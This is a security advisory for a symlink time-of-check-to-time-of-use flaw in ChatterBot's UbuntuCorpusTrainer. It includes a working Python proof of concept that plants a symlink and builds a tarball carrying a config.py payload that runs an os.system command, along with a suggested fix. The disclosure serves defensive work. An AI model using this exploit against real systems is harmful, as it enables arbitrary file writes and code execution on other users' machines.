PT-2026-53800 · Pypi · Chatterbot
Published
2026-06-19
·
Updated
2026-06-19
CVSS v3.1
5.5
Medium
| Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
Summary
ChatterBot's
UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu data/ubuntu dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.The existing
safe extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data path is a symlink. This is the defining distinction between the archive extraction (zip-slip) and insecure fs create toctou families.Vulnerability Details
Predictable output directory (line 535-546)
python
home directory = os.path.expanduser('~')
self.data directory = kwargs.get(
'ubuntu corpus data directory',
os.path.join(home directory, 'ubuntu data') # ~/ubuntu data — predictable
)
self.data path = os.path.join(
self.data directory, 'ubuntu dialogs' # ~/ubuntu data/ubuntu dialogs
)Check-then-create (line 621-622)
python
def extract(self, file path: str):
if not os.path.exists(self.data path): # ← follows symlink → True → skips makedirs
os.makedirs(self.data path) # ← never reached if symlink existsExtraction through symlink (line 633-644)
python
def safe extract(tar, path='.', members=None, *, numeric owner=False):
for member in tar.getmembers():
member path = os.path.join(path, member.name)
if not is within directory(path, member path): # ← validates MEMBER names only
raise Exception('Attempted Path Traversal in Tar File')
tar.extractall(path, members, numeric owner=numeric owner) # ← path is symlink → writes to target
safe extract(tar, path=self.data path, ...) # self.data path = symlink → attacker dirsafe extract calls os.path.abspath(directory) on self.data path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is within directory because they're relative to the resolved (attacker-controlled) base.Proof of Concept
Environment
| Component | Detail |
|---|---|
| chatterbot | 1.2.13 (pip install) |
| Python | 3.11.0 |
Exploit
python
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
from chatterbot.trainers import UbuntuCorpusTrainer
ATTACKER TARGET = Path(tempfile.mkdtemp(prefix="pwned "))
def main():
test base = Path(tempfile.mkdtemp(prefix="cb exploit "))
data dir = test base / "ubuntu data"
data path = data dir / "ubuntu dialogs"
data dir.mkdir(parents=True, exist ok=True)
os.symlink(str(ATTACKER TARGET), str(data path))
print(f"[1] Symlink planted: {data path} -> {ATTACKER TARGET}")
exists check = os.path.exists(data path)
print(f"[2] os.path.exists(symlink) = {exists check} (follows symlink → skips makedirs)")
import tarfile
import io
tar path = test base / "corpus.tar.gz"
with tarfile.open(str(tar path), "w:gz") as tf:
info = tarfile.TarInfo(name="dialog 001.tsv")
payload = b"2024-01-01tuser1t0tARBITRARY CONTENT VIA SYMLINK
"
info.size = len(payload)
tf.addfile(info, io.BytesIO(payload))
info2 = tarfile.TarInfo(name="config.py")
rce = b"import os; os.system('id > /tmp/chatterbot rce')
"
info2.size = len(rce)
tf.addfile(info2, io.BytesIO(rce))
if not os.path.exists(data path):
os.makedirs(data path)
def is within directory(directory, target):
abs directory = os.path.abspath(directory)
abs target = os.path.abspath(target)
prefix = os.path.commonprefix([abs directory, abs target])
return prefix == abs directory
with tarfile.open(str(tar path), "r:gz") as tar:
for member in tar.getmembers():
member path = os.path.join(str(data path), member.name)
if not is within directory(str(data path), member path):
raise Exception("Attempted Path Traversal in Tar File")
tar.extractall(str(data path))
print(f"[3] extractall(data path) — data path is symlink, writes to target")
# Verify
files = list(ATTACKER TARGET.iterdir())
if files:
print(f"
[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
for f in sorted(files):
print(f" {f.name}: {f.read text().strip()[:60]}")
else:
print("[-] Failed")
shutil.rmtree(str(test base), ignore errors=True)
shutil.rmtree(str(ATTACKER TARGET), ignore errors=True)
sys.exit(1)
shutil.rmtree(str(test base), ignore errors=True)
shutil.rmtree(str(ATTACKER TARGET), ignore errors=True)
sys.exit(0)
if name == " main ":
print(f"chatterbot installed: {UbuntuCorpusTrainer. module }")
print(f"Attacker target: {ATTACKER TARGET}")
print()
main()
PoC output
Suggested Fix
Refuse symlinks on the output directory before extraction:
python
def extract(self, file path: str):
if os.path.islink(self.data path):
raise self.TrainerInitializationException(
f'Refusing to extract to symlink: {self.data path}')
if not os.path.exists(self.data path):
os.makedirs(self.data path)
...Fix
Time Of Check To Time Of Use
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Chatterbot